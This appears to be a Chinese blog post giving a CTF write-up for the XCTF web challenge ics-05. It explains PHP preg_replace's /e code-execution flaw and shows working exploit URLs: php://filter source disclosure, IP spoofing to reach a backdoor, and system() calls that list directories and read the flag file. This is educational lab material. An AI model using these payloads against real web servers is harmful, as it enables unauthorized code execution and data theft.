0
点赞
收藏
分享

微信扫一扫

XCTF web ics-05

笑望叔叔 2022-06-17 阅读 31

preg_replace() 函数执行一个正则表达式的搜索和替换。

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

preg_replace()函数存在一个安全问题:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。
要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
注意如果是在url中传参,需要把pattern加上//e.比如?pattern=/hello/e

进入云平台设备维护中心,点击那个图片出现index
观察url,有?page=index
用php伪协议,?page=php://filter/read=convert.base64-encode/resource=index.php查看是否有源码泄露
得到base64,解码后审计,在最后发现后门
伪造ip,127.0.0.1访问
然后注意到preg_replace函数,构造三个参数
注意第一个参数需要 //e
​​​http://111.198.29.45:31944/index.php?pat=/just/e&rep=phpinfo()&sub=just​​​可以查看php版本信息,这个方法可行
​​​http://111.198.29.45:31944/index.php?pat=/just/e&rep=system(%22ls%22)&sub=just​​​​http://111.198.29.45:31944/index.php?pat=/just/e&rep=system(%22cd%20s3chahahaDir;%20ls%22)&sub=just​​​​http://111.198.29.45:31944/index.php?pat=/just/e&rep=system(%22cat%20s3chahahaDir/flag/flag.php%22)&sub=just​​ 在源码的注释中看到flag。


举报

相关推荐

0 条评论